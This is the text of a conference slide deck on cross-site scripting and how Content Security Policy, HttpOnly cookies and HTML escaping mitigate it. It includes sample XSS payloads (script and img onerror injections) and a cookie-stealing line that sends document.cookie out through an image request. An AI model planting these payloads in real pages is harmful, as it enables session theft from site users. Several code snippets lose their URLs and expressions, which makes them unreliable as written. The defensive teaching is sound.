Ben Vinegar

  • Software engineer at Disqus
  • Co-author, Third-party JavaScript (Manning)
  • Once ate 7 McDonald's cheeseburgers in one sitting
  • Implemented Content Security Policy in Disqus

Cross-Site Scripting (XSS)

This is still a problem

Cross-site scripting (XSS)

Vulnerability where attacker injects JavaScript code into a web document

$name = $_GET['name'];
echo "Welcome $name";
Welcome <script>alert("pwned")</script>

Cross-site scripting (XSS)

Client-side apps are not immune

var div = document.createElement('div');
div.innerHTML = 'Welcome' +;
  "id": 1337,
  "username": "some_asshole87"  
  "name": "<img src=\"\" onerror=\"alert('pwned')\">",
Welcome <img src="" onerror="alert('pwned')">

Alert isn't scary – these are

Steal cookies

new Image('' + document.cookie);

Use local XHR

$.get('/my/contacts', function (response) { … });

Use client API



HTTP-only cookies

Set-Cookie: session=29e807166458d2640 HttpOnly
  • Disables client access via document.cookie
  • Mitigates cookie theft via XSS
  • Wide browser support today (IE8+)
  • Still vulnerable to other client attacks

Input sanitization

Escape dangerous characters in untrusted strings

function escapeHtml(str) {
    return String(str)
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;")
        .replace(/\//g, "&#x2F;")  

Character substitutions recommended by OWASP

Input sanitization

Sanitizing untrusted user data on the client

var div = document.createElement('div');
div.innerHTML = 'Welcome' + escapeHtml(;
  "id": 1337,
  "username": "some_asshole87"  
  "name": "<img src=\"\" onerror=\"alert('pwned')\">",
Welcome &lt;img src=&quot;&quot; onerror=&quot;alert(&#039;pwned&#039;)&quot;&gt;

Input sanitization

The good

  • If done correctly, it works
  • Sanitization is baked into most templating engines, frameworks
  • And usually enabled by default

The bad

  • Sanitization is not always turned on by default
  • Still largely a manual process
  • You can mess up
  • Everyone is still messing up

Notable XSS exploits

These are publicized exploits. There are likely far more kept private.

It's not a matter of if you will introduce an XSS vulnerability, but when.

Content Security Policy (CSP)

Light at the end of the tunnel

Content Security Policy (CSP)

  • New browser feature for mitigiating XSS and data-injection attacks
  • 1.0 W3C Candidate Recomendation (1.1 underway)
  • Whitelists "safe" script hosts
  • Content-Security-Policy HTTP header

Limiting script origins with CSP

Example: restrict scripts to current origin and

Content-Security-Policy: script-src 'self'
<script src="//"></script>
<script src="/js/app.js"></script>
<script src=""></script>
Refused to load the script '' because it violates
the following Content Security Policy directive: "script-src 'self'".

Limiting script origins with CSP

CSP also limits inline scripts

Content-Security-Policy: script-src 'self'
<script>new Image('' + document.cookie);</script>
Refused to execute inline script because it violates the following Content Security Policy
directive: "script-src 'self'"

Coping without inline scripts

Inline scripts are often used for defining global config state

  var CONFIG = {
    version = '7330b4',
    appRoot = '//',
    cdnRoot = '//'
  <script src="js/app.js"></script>

This example will cause a CSP exception.

Coping without inline scripts

<script id="config" type="text/json">
  "version": "7330b4",
  "appRoot": "//",
  "cdnRoot": "//"
<script src="js/app.js"></script>

In app.js …

var config = document.getElementById('config');
window.CONFIG = JSON.parse(config.textContent || config.innerHTML);

CSP and eval

  • These rules also disable eval
  • Some JS libraries depends on eval (moment.js)
  • Option: explicitly allow eval
Content-Security-Policy: script-src 'self' 'unsafe-eval'

Warning: eval is considered an XSS vector

More than just scripts

CSP can protect against a variety of unauthorized asset types.

  • img-src – limit origins of images
  • style-src – stylesheets
  • media-src – audio and video
  • frame-src – iframe sources
  • connect-src – XHR, WebSockets, EventSource
  • font-src – font files
  • object-src - Flash and other plugin objects
  • default-src – all assets (including scripts)

Multiple CSP arguments

Content-Security-Policy: default-src 'self';
 script-src 'self' 'unsafe-eval';
 style-src 'self';
 connect-src 'self';
 media-src 'self';
 object-src 'self';
 frame-src 'self'

Browser support


  • Chrome 26+


  • Safari 5.1+
  • Chrome 14 – 25


  • Firefox 4+
  • Internet Explorer 10*

Implementations not created equal

Vendor-prefixed CSP implementations all vary

  • Firefox CSP implementation incompatible with W3C spec
  • IE10 only implements sandbox directive
  • Safari 5.1's CSP implementation differs from Safari 6's
  • Android browser recognizes X-WebKit-CSP, but breaks on it
  • Suggestion: avoid prefixed implementations

Why bother with CSP today?

  • Limited browser support – can't depend on CSP to protect your app

  • But implementing CSP still has tremendous value …

CSP reporting

  • Congure a report-uri to accept CSP exception requests (POST)
  • Be notified of XSS vulnerabilities as they occur
  • Users with CSP-supported browsers make it safer for everybody

CSP reporting

Configure an endpoint to report violations

Content-Security-Policy: default-src 'self'; report-uri

CSP reports are delivered as JSON via HTTP POST

  "csp-report": {
    "document-uri": "",
    "referrer": "",
    "blocked-uri": "",
    "violated-directive": "default-src 'self'",
    "original-policy": "default 'self'; report-uri"

Report-only headers

  • Content-Security-Policy-Report-Only
  • Notifies you of violations, but won't take action
  • Lets you try CSP risk-free
Content-Security-Policy-Report-Only: default-src 'self'; report-uri

CSP violation events (1.1)

document.onsecuritypolicyviolation = function (evt) {
  console.log('Bzzp! Security violation on', evt.documentURI);
  console.log('Violated directive:', evt.violatedDirective);
  console.log('Original policy:', evt.originalPolicy);
  • Chrome Canary (28) w/ Experimental WebKit features flag enabled
  • Warning: specification is changing

CSP report logging services

… don't exist yet

  • Sentry open issue
  • Errorception, Airbrake – nothing happening
  • Contact your exception logging service provider today!
  • Violation events open door to JS exception logging

CSP resources